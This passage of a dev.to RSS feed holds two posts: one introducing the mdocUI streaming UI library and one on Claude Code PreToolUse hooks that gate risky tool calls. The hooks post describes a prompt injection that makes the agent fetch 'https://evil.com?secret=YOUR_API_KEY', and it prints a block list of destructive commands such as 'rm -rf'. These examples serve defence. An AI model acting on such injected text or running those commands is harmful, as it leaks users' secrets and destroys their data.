&lt;p&gt;If you read this far and you're sitting on the same decision, I'm happy to talk through your specifics. The secret-rotation choreography and the canary-deploy IAM gotchas are where people get stuck.&lt;/p&gt;

</description>
      <category>nextjs</category>
      <category>googlecloud</category>
      <category>vercel</category>
      <category>cloudrun</category>
    </item>
    <item>
      <title>Why Markdoc for LLM Streaming UI</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Fri, 03 Apr 2026 13:10:12 +0000</pubDate>
      <link>https://dev.to/abhaygawade/why-markdoc-for-llm-streaming-ui-3m26</link>
      <guid>https://dev.to/abhaygawade/why-markdoc-for-llm-streaming-ui-3m26</guid>
      <description>&lt;p&gt;Every AI chatbot I've built hits the same wall.&lt;/p&gt;

&lt;p&gt;The LLM writes beautiful markdown — headings, bold, lists, code blocks. Then someone asks for a chart. Or a form. Or a data table with sortable columns.&lt;/p&gt;

&lt;p&gt;Suddenly you need a component rendering layer. And every approach has tradeoffs.&lt;/p&gt;

&lt;p&gt;That's why I built mdocUI: a streaming-first generative UI library that lets LLMs mix markdown and interactive components in one output stream.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;JSON blocks in markdown&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some teams embed JSON in fenced code blocks:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Here's your revenue data:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;```json:chart
{"type": "bar", "labels": ["Q1", "Q2", "Q3"], "values": [120, 150, 180]}
```
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works until you're streaming. A JSON object that arrives token-by-token is invalid JSON until the closing brace lands. You either buffer the entire block (killing the streaming experience) or parse incomplete JSON (fragile).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JSX in markdown&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nx"&gt;Here&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;s your data:

&amp;lt;Chart type="bar" labels={["Q1", "Q2", "Q3"]} values={[120, 150, 180]} /&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Models get confused. They mix HTML attributes with JSX props. They forget to close tags. The &lt;code&gt;&amp;lt;&lt;/code&gt; character appears everywhere in normal text, making streaming parsing ambiguous.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Custom DSLs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some teams invent their own syntax — &lt;code&gt;[[chart:bar:Q1=120,Q2=150]]&lt;/code&gt; or similar. Now you're training the model on a format it's never seen, burning tokens on format instructions, and maintaining a custom parser.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Markdoc Tag Syntax
&lt;/h2&gt;

&lt;p&gt;Markdoc is a documentation framework created by Stripe. It extends markdown with custom tag delimiters. In this article, I’ll show them as &lt;code&gt;[% %]&lt;/code&gt; so Dev.to doesn’t try to parse them as Liquid:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;Here's your revenue data:

[% chart type="bar" labels=["Q1","Q2","Q3"] values=[120,150,180] /%]

Revenue grew 12% quarter-over-quarter.

[% button action="continue" label="Show by region" /%]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three properties make this tag syntax ideal for LLM streaming:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Unambiguous delimiter&lt;/strong&gt; — the opening sequence is something you would never expect in normal prose, standard markdown, or fenced code blocks. A streaming parser can detect it without lookahead or backtracking.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Models already know it&lt;/strong&gt; — Markdoc is in training data (Stripe docs, Cloudflare docs). Models write it correctly without extensive format instructions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Prose and components coexist&lt;/strong&gt; — no mode switching. The LLM writes markdown and drops components wherever they fit. The parser separates them as tokens arrive.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  How mdocUI Works
&lt;/h2&gt;

&lt;p&gt;mdocUI borrows only the tag syntax from Markdoc. We built our own streaming parser from scratch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Architecture:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LLM tokens → Tokenizer → StreamingParser → ComponentRegistry → Renderer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The tokenizer is a character-by-character state machine with three states: &lt;code&gt;IN_PROSE&lt;/code&gt;, &lt;code&gt;IN_TAG&lt;/code&gt;, &lt;code&gt;IN_STRING&lt;/code&gt;. As tokens arrive, it separates prose from component tags.&lt;/p&gt;

&lt;p&gt;The ComponentRegistry validates tag names and props against Zod schemas. Invalid tags get error boundaries, not crashes.&lt;/p&gt;

&lt;p&gt;The Renderer maps AST nodes to React components. Every component is theme-neutral — &lt;code&gt;currentColor&lt;/code&gt;, &lt;code&gt;inherit&lt;/code&gt;, no hardcoded colors. Swap any component with your own.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting Started
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pnpm add @mdocui/core @mdocui/react
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;generatePrompt&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@mdocui/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createDefaultRegistry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;defaultGroups&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@mdocui/react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Renderer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useRenderer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;defaultComponents&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@mdocui/react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;registry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createDefaultRegistry&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Auto-generate system prompt from your component registry&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;systemPrompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generatePrompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;registry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;preamble&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;You are a helpful assistant.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;groups&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;defaultGroups&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="c1"&gt;// In your React component&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Chat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;nodes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;isStreaming&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;done&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useRenderer&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;registry&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Renderer&lt;/span&gt;
      &lt;span class="nx"&gt;nodes&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;nodes&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nx"&gt;components&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;defaultComponents&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nx"&gt;isStreaming&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;isStreaming&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nx"&gt;onAction&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
    &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;24 components are included: chart, table, stat, card, grid, tabs, form, button, callout, accordion, progress, badge, image, code-block, and more.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;mdocUI is alpha (0.6.x). The API is stabilizing. We're working on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Vue, Svelte, and Solid renderers&lt;/li&gt;
&lt;li&gt;Vercel AI SDK useChat bridge&lt;/li&gt;
&lt;li&gt;Browser devtools for AST inspection&lt;/li&gt;
&lt;li&gt;VS Code extension for Markdoc-style tag syntax highlighting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Try the playground: &lt;a href="https://mdocui.vercel.app" rel="noopener noreferrer"&gt;https://mdocui.vercel.app&lt;/a&gt;&lt;br&gt;
GitHub: &lt;a href="https://github.com/mdocui/mdocui" rel="noopener noreferrer"&gt;https://github.com/mdocui/mdocui&lt;/a&gt;&lt;br&gt;
Docs: &lt;a href="https://mdocui.github.io" rel="noopener noreferrer"&gt;https://mdocui.github.io&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Feedback, issues, and PRs welcome.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>react</category>
      <category>typescript</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Claude Code: Auto-Approve Tools While Keeping a Safety Net with Hooks</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Tue, 31 Mar 2026 06:48:59 +0000</pubDate>
      <link>https://dev.to/abhaygawade/claude-code-auto-approve-tools-while-keeping-a-safety-net-with-hooks-4839</link>
      <guid>https://dev.to/abhaygawade/claude-code-auto-approve-tools-while-keeping-a-safety-net-with-hooks-4839</guid>
      <description>&lt;p&gt;Every time Claude Code fetches a URL, it asks for permission. After the 50th approval for a docs page, you start wondering — can I just auto-allow this?&lt;/p&gt;

&lt;p&gt;You can. But there's a catch: &lt;strong&gt;WebFetch can send data in query parameters.&lt;/strong&gt; A prompt injection buried in a file could trick Claude into fetching &lt;code&gt;https://evil.com?secret=YOUR_API_KEY&lt;/code&gt;. Auto-approving everything means you'd never see it happen.&lt;/p&gt;

&lt;p&gt;Here's how I set up a middle ground: &lt;strong&gt;auto-allow clean URLs, but show a confirmation prompt when query parameters are present.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The naive approach (don't do this)
&lt;/h2&gt;

&lt;p&gt;You might think adding WebFetch to permissions is enough:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;~/.claude/settings.json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works — but it auto-allows &lt;em&gt;everything&lt;/em&gt;, including &lt;code&gt;https://evil.com?token=abc123&lt;/code&gt;. No safety net.&lt;/p&gt;

&lt;h2&gt;
  
  
  The hook approach (do this instead)
&lt;/h2&gt;

&lt;p&gt;Claude Code has a &lt;code&gt;PreToolUse&lt;/code&gt; hook system. A hook runs before every tool call and can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Exit 0&lt;/strong&gt; — silently allow (no prompt)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exit 1&lt;/strong&gt; — show a message and ask for confirmation (approve/deny)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exit 2&lt;/strong&gt; — hard block (no option to proceed)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The hook receives the full tool call as JSON via &lt;strong&gt;stdin&lt;/strong&gt; — tool name, input parameters, session ID, everything.&lt;/p&gt;

&lt;p&gt;Here's the setup in &lt;code&gt;~/.claude/settings.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"PreToolUse"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"matcher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); print('URL has query params, review: '+url, file=sys.stderr) if '?' in url else None; sys.exit(1) if '?' in url else sys.exit(0)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"statusMessage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Checking WebFetch URL for query params..."&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. One hook, zero dependencies.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this does
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;Behavior&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;https://docs.python.org/3/library/json.html&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Auto-allowed, no prompt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;https://api.example.com/data?key=secret&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shows URL, asks you to approve or deny&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;When a URL has query params, you'll see something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;URL has query params, review: https://api.example.com/data?key=secret
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And Claude Code pauses for your decision. If it's legitimate (like a search query or API docs with anchors), you approve. If it looks suspicious, you deny.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works under the hood
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;PreToolUse&lt;/code&gt; hook receives JSON on stdin with this structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"session_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"abc-123"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hook_event_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PreToolUse"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tool_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tool_input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.com/page?q=test"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"prompt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Summarize this page"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Python one-liner:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reads the JSON from stdin&lt;/li&gt;
&lt;li&gt;Extracts the URL from &lt;code&gt;tool_input.url&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Checks if &lt;code&gt;?&lt;/code&gt; is present&lt;/li&gt;
&lt;li&gt;Exits with 1 (ask) or 0 (allow)&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Gotcha: &lt;code&gt;permissions.allow&lt;/code&gt; overrides hooks
&lt;/h2&gt;

&lt;p&gt;This tripped me up. If you add WebFetch to both &lt;code&gt;permissions.allow&lt;/code&gt; AND set up a hook:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"PreToolUse"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The hook never fires.&lt;/strong&gt; &lt;code&gt;permissions.allow&lt;/code&gt; takes full precedence — the tool is approved before the hook even runs. Remove the permission rule and let the hook be the sole gatekeeper.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha: stdin, not environment variables
&lt;/h2&gt;

&lt;p&gt;Hook input comes via &lt;strong&gt;stdin&lt;/strong&gt;, not an environment variable. I initially tried &lt;code&gt;os.environ.get('ARGUMENTS')&lt;/code&gt; — it was empty. The correct approach is &lt;code&gt;json.load(sys.stdin)&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Going further
&lt;/h2&gt;

&lt;p&gt;You can apply this pattern to other tools too. Some ideas:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bash command guard&lt;/strong&gt; — ask before running destructive commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"matcher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; cmd=json.load(sys.stdin).get('tool_input',{}).get('command',''); dangerous=any(w in cmd for w in ['rm -rf','drop table','--force','--hard']); print('Dangerous command: '+cmd, file=sys.stderr) if dangerous else None; sys.exit(1) if dangerous else sys.exit(0)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Write guard&lt;/strong&gt; — flag writes to sensitive paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
